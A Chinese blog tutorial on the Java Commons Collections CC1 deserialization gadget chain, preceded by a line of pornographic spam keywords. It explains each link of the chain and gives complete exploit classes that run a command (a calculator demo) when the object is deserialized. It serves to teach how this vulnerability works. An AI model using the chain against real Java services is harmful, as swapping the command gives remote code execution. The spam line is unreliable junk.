亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

Java安全之CC1利用鏈詳解

 更新時(shí)間:2025年05月15日 14:46:24   作者:Neur0toxin  
這篇文章主要介紹了Java安全之CC1利用鏈的使用方式,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教

一、梳理基本邏輯

WEB后端JVM通過(guò)readObject()的反序列化方式接收用戶輸入的數(shù)據(jù)

用戶編寫(xiě)惡意代碼并將其序列化為原始數(shù)據(jù)流

WEB后端JVM接收到序列化后惡意的原始數(shù)據(jù)并進(jìn)行反序列化

當(dāng)調(diào)用:

ObjectInputStream.readObject()

JVM 內(nèi)部邏輯:

  • → 反序列化 AnnotationInvocationHandler.class
  • → 檢查到類(lèi)里定義了 private void readObject(ObjectInputStream)
  • → 自動(dòng)調(diào)用 readObject()

于是我們通過(guò)這個(gè)入口將整條鏈都執(zhí)行了,最后執(zhí)行命令

二、CC1的基本形態(tài)構(gòu)建

2.1、Runtime.getRuntime().exec()

Java執(zhí)行系統(tǒng)命令的方式

  • 正常寫(xiě)法:
Runtime.getRuntime().exec("calc");
  • 反射寫(xiě)法:
Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");

2.2、InvokeTransformer.transform()

重寫(xiě)了Transformer接口的transform方法,能執(zhí)行命令

在InvokeTransformer()中傳入待執(zhí)行的方法名(exec)、類(lèi)的類(lèi)型(String.class)和具體命令(calc)

在InvokeTransformer的transform()中傳入要執(zhí)行方法的對(duì)象(r)

Runtime r = Runtime.getRuntime();
//        Class c = Runtime.class;
//        Method execMethod = c.getMethod("exec", String.class);
//        execMethod.invoke(r,"calc");
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

其作用等價(jià)于

Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");

也等價(jià)于

Runtime.getRuntime().exec("calc");

2.3、TransformedMap.checkSetValue()

會(huì)調(diào)用transform -> 需要通過(guò)TransformedMap.decorate()間接調(diào)用

可以看到圖3調(diào)用了transform()方法;

并且由圖1知道該類(lèi)是對(duì)Map進(jìn)行處理的類(lèi),為了達(dá)到我們想要的效果,我們得自己構(gòu)造一個(gè)Hash Map;

而且可以看到圖3最后是對(duì)valueTransformer進(jìn)行操作的,所以我們可以把InvokeTransformer對(duì)象當(dāng)做valueTransformer傳遞給TransformedMap的decorate()方法:

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);

所以當(dāng)TransformedMap處理我們的對(duì)象時(shí),就會(huì)調(diào)用InvokeTransformer.transform()

也就是等價(jià)于:

protected Object checkSetValue(Object value) {
    return InvokeTransformer.transform(value);
}

2.4、MapEntry.setValue()

TransformedMap的抽象父類(lèi)AbstractInputCheckedMapDecorator

中的MapEntry副類(lèi)中的setValue()方法調(diào)用了checkSetValue()

  • HashMap在遍歷的時(shí)候,一個(gè)鍵值對(duì)就叫Entry;
  • MapEntry的setValue()實(shí)際上就是重寫(xiě)的Entry的setValue();

所以當(dāng)遍歷我們構(gòu)造的transformedMap對(duì)象時(shí),就會(huì)走到MapEntry的setValue()方法;

進(jìn)而調(diào)用setValue()中調(diào)用的checkSetValue():

HashMap<Object,Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);

for(Map.Entry entry:transformedMap.entrySet()){
    entry.setValue(r);
}

當(dāng)transformedMap被遍歷時(shí),就會(huì)執(zhí)行命令:

2.5、AnnotationInvocationHandler.readObject()

AnnotationInvocationHandler重寫(xiě)了readObject()方法,執(zhí)行AnnotationInvocationHandler.readObject()時(shí)會(huì)調(diào)用setValue()

因?yàn)檫@個(gè)類(lèi)的構(gòu)造方法不是public,所以我們要通過(guò)反射獲取該類(lèi)及其方法

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AnnotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandlerConstructor.setAccessible(true);
Object hacker = AnnotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);

三、整理內(nèi)容

3.1、思路梳理(正向)

1、現(xiàn)在我們構(gòu)建的這個(gè)對(duì)象,會(huì)在反序列化的時(shí)候自動(dòng)觸發(fā)AnnotationInvocationHandler中的readObject()方法,原理如下;

2、當(dāng)執(zhí)行該重寫(xiě)的readObject()方法時(shí),會(huì)觸發(fā)調(diào)用MapEntry.setValue(),因?yàn)锳nnotationInvocationHandler.readObject()的內(nèi)部機(jī)制:

當(dāng)反序列化AnnotationInvocationHandler時(shí)會(huì)自動(dòng)遍歷我們傳遞的transformedMap,從而執(zhí)行MapEntry的setValue()方法

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
    memberValue.setValue(...);  // ← 這里就觸發(fā)了 transformedMap 的 checkSetValue()
}

3、當(dāng)MapEntry.setValue()被執(zhí)行時(shí),會(huì)執(zhí)行TransformedMap.checkSetValue(),因?yàn)椋?/strong>

TransformedMap.decorate()返回的Map包裝了原始的entrySet(),當(dāng)調(diào)用entry.setValue()時(shí),其實(shí)是在調(diào)用TransformedMap.MapEntry.setValue(),而這個(gè)方法正好調(diào)用了checkSetValue()

當(dāng)遍歷我們構(gòu)造的transformedMap對(duì)象時(shí),就會(huì)走到MapEntry的setValue()方法;

進(jìn)而調(diào)用setValue()中調(diào)用的checkSetValue():

4、當(dāng)TransformedMap.checkSetValue()被調(diào)用時(shí),會(huì)調(diào)用InvokeTransformer.transform(),因?yàn)椋?/strong>

我們把InvokeTransformer對(duì)象當(dāng)做valueTransformer傳遞給TransformedMap的decorate()方法

而decorate()方法就會(huì)間接調(diào)用checkSetValue(),然后間接調(diào)用InvokeTransformer.transform(),相當(dāng)于

protected Object checkSetValue(Object value) {
    return InvokeTransformer.transform(value);
}

5、當(dāng)InvokeTransformer.transform()被調(diào)用,就基于我們實(shí)例化的Runtime對(duì)象r進(jìn)行命令執(zhí)行

3.2、EXP雛形

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;





public class CC1 {
    public static void main(String[] args) throws Exception
    {
//        Runtime.getRuntime().exec("calc");

        Runtime r = Runtime.getRuntime();
//        Class c = Runtime.class;
//        Method execMethod = c.getMethod("exec", String.class);
//        execMethod.invoke(r,"calc");
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

        HashMap<Object,Object> map = new HashMap<>();
        map.put("key","value");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);

//        for(Map.Entry entry:transformedMap.entrySet()){
//            entry.setValue(r);
//        }
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor AnnotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        AnnotationInvocationHandlerConstructor.setAccessible(true);
        Object hacker = AnnotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);

        serialize(hacker);
        unserialize("hacker.bin");
    }




    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("hacker.bin"));
        oss.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws Exception,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

}

四、問(wèn)題處理

4.1、Runtime不能被序列化

我們跟進(jìn)到Runtime里看一下,發(fā)現(xiàn)它沒(méi)有serializable接口,不能被序列化:

但是我們可以運(yùn)用反射來(lái)獲取它的原型類(lèi),它的原型類(lèi)class是存在serializable接口,可以序列化

那么我們?cè)趺传@取一個(gè)實(shí)例化對(duì)象呢,這里我們看到存在一個(gè)靜態(tài)的getRuntime方法,這個(gè)方法會(huì)返回一個(gè)Runtime對(duì)象,相當(dāng)于是一種單例模式:

用反射構(gòu)建一個(gè)Runtime對(duì)象(能執(zhí)行命令):

//獲取類(lèi)原型
Class c = Runtime.class;
//獲取getRuntime方法
Method getRuntimeMethod = c.getMethod("getRuntime",null);
 //獲取實(shí)例化對(duì)象,因?yàn)樵摲椒o(wú)無(wú)參方法,所以全為null
Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
//獲取exec方法
Method execMehod = c.getMethod("exec", String.class);
//實(shí)現(xiàn)命令執(zhí)行
execMehod.invoke(r,"calc");

因?yàn)槲覀冏詈髨?zhí)行是依靠InvokeTransformer.transform(),所以要將上述代碼進(jìn)行變形,使其用InvokeTransformer.transform()的形式呈現(xiàn)(能執(zhí)行命令):

參考InvokeTransformer.transform()執(zhí)行對(duì)象方法的原理

\\InvokeTransformer(方法).transform(對(duì)象)\\

//獲取類(lèi)原型
Class c = Runtime.class;
//模擬獲取getRuntime方法
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//模擬獲取invoke方法
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
//模擬獲取exec方法,并進(jìn)行命令執(zhí)行
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

但是這樣要一個(gè)個(gè)嵌套創(chuàng)建參數(shù)太麻煩了,我們這里找到了一個(gè)Commons Collections庫(kù)中存在的ChainedTransformer類(lèi),它也存在transform方法可以幫我們遍歷InvokerTransformer,并且調(diào)用transform方法:

Transformer[] transformers = new Transformer[]{
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
        
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

4.2、AnnotationInvocationHandler類(lèi)下的readObject方法的條件判斷

這里memeberType是獲取注解中成員變量的名稱(chēng),然后并且檢查鍵值對(duì)中鍵名是否有對(duì)應(yīng)的名稱(chēng)

而我們發(fā)現(xiàn)另一個(gè)注解@Target中有個(gè)名為value的成員變量,所以我們就可以使用這個(gè)注解,

并改第一個(gè)鍵值對(duì)的值為value:

4.3、AnnotationTypeMismatchExceptionProxy不能轉(zhuǎn)換為Runtime.class

把上述問(wèn)題解決后我們?cè)儆^察,因?yàn)锳nnotationInvocationHandler.readObject()是入口,當(dāng)反序列化觸發(fā)readObject()時(shí),該方法默認(rèn)創(chuàng)建了一個(gè)對(duì)象AnnotationTypeMismatchExceptionProxy:

可以發(fā)現(xiàn),鏈條雖然被觸發(fā)了,不過(guò)AnnotationTypeMismatchExceptionProxy這個(gè)對(duì)象最后傳到ChainedTransformer類(lèi)中是不能執(zhí)行方法的,我們想要的是獲取Runtime.class對(duì)象:

protected Object checkSetValue(Object value) {
    return ChainedTransformer.transform(Runtime.class);
}

而不是:

protected Object checkSetValue(Object value) {
    return ChainedTransformer.transform(AnnotationTypeMismatchExceptionProxy);
}

所以我們需要把AnnotationTypeMismatchExceptionProxy改為Runtime.class

ConstantTransformer:我們傳入什么值,就會(huì)返回什么值

這個(gè)類(lèi)就能把AnnotationTypeMismatchExceptionProxy改為Runtime.class

在到達(dá)最后一步InvokeTransformer.transform()對(duì)某個(gè)對(duì)象執(zhí)行其命令之前,將Runtime.class作為對(duì)象輸出給它

至此,CC1鏈的問(wèn)題就全部解決了。

五、最終EXP

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class ZCC1_final {
    public static void main(String[] args) throws Exception{

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);



        HashMap<Object,Object> map = new HashMap<>();
        map.put("value","value");

        Map<Object,Object> transformed = TransformedMap.decorate(map,null,chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        Constructor annotation = c.getDeclaredConstructor(Class.class,Map.class);
        annotation.setAccessible(true);
        Object o = annotation.newInstance(Target.class,transformed);

        serialize(o);
        unserialize("ser.bin");
    }


    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oss.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

}

總結(jié)

以上為個(gè)人經(jīng)驗(yàn),希望能給大家一個(gè)參考,也希望大家多多支持腳本之家。

相關(guān)文章

  • Java面向?qū)ο缶幊讨?lèi)的繼承詳解

    Java面向?qū)ο缶幊讨?lèi)的繼承詳解

    這篇文章主要介紹了Java面向?qū)ο缶幊讨?lèi)的繼承,結(jié)合實(shí)例形式較為詳細(xì)的分析了Java面向?qū)ο缶幊填?lèi)的概念、功能、使用方法及相關(guān)注意事項(xiàng),需要的朋友可以參考下
    2018-02-02
  • Maven插件之Dependency:analyze的使用

    Maven插件之Dependency:analyze的使用

    在軟件開(kāi)發(fā)中,合理管理項(xiàng)目依賴(lài)是保證構(gòu)建穩(wěn)定性的關(guān)鍵,Maven作為流行的項(xiàng)目管理工具,提供了Dependency插件來(lái)幫助開(kāi)發(fā)者分析和優(yōu)化項(xiàng)目依賴(lài),通過(guò)執(zhí)行dependency:analyze指令,可以辨識(shí)項(xiàng)目中使用的、未聲明的、和未使用的依賴(lài)項(xiàng)
    2024-10-10
  • JAVA實(shí)現(xiàn)基于Tcp協(xié)議的簡(jiǎn)單Socket通信實(shí)例

    JAVA實(shí)現(xiàn)基于Tcp協(xié)議的簡(jiǎn)單Socket通信實(shí)例

    本篇文章主要介紹了JAVA實(shí)現(xiàn)基于Tcp協(xié)議的簡(jiǎn)單Socket通信實(shí)例,小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,也給大家做個(gè)參考。一起跟隨小編過(guò)來(lái)看看吧
    2017-01-01
  • Spring+Http請(qǐng)求+HttpClient實(shí)現(xiàn)傳參

    Spring+Http請(qǐng)求+HttpClient實(shí)現(xiàn)傳參

    這篇文章主要介紹了Spring+Http請(qǐng)求+HttpClient實(shí)現(xiàn)傳參,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2020-03-03
  • Java?流處理之收集器詳解

    Java?流處理之收集器詳解

    這篇文章主要介紹了Java?流處理之收集器,本文以記錄?Record?為例,結(jié)合示例代碼給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下
    2022-09-09
  • Java 繼承方法實(shí)例詳解

    Java 繼承方法實(shí)例詳解

    這篇文章主要介紹了Java繼承中方法實(shí)例,非常的實(shí)用,這里推薦給大家,有需要的小伙伴可以參考下
    2017-04-04
  • 修改jvm-sandbox源碼導(dǎo)致線程安全分析

    修改jvm-sandbox源碼導(dǎo)致線程安全分析

    這篇文章主要為大家介紹了修改jvm-sandbox源碼導(dǎo)致線程安全分析,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪
    2023-06-06
  • Spring Boot實(shí)現(xiàn)文件上傳示例代碼

    Spring Boot實(shí)現(xiàn)文件上傳示例代碼

    本篇文章主要介紹了Spring Boot實(shí)現(xiàn)文件上傳示例代碼,可以實(shí)現(xiàn)單文件和多文件的上傳,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下。
    2017-03-03
  • Java超詳細(xì)分析講解哈希表

    Java超詳細(xì)分析講解哈希表

    哈希表是一種根據(jù)關(guān)鍵碼去尋找值的數(shù)據(jù)映射結(jié)構(gòu),該結(jié)構(gòu)通過(guò)把關(guān)鍵碼映射的位置去尋找存放值的地方,說(shuō)起來(lái)可能感覺(jué)有點(diǎn)復(fù)雜,我想我舉個(gè)例子你就會(huì)明白了,最典型的的例子就是字典
    2022-06-06
  • 關(guān)于ApplicationContext的三個(gè)常用實(shí)現(xiàn)類(lèi)

    關(guān)于ApplicationContext的三個(gè)常用實(shí)現(xiàn)類(lèi)

    這篇文章主要介紹了關(guān)于ApplicationContext的三個(gè)常用實(shí)現(xiàn)類(lèi),具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2024-06-06

最新評(píng)論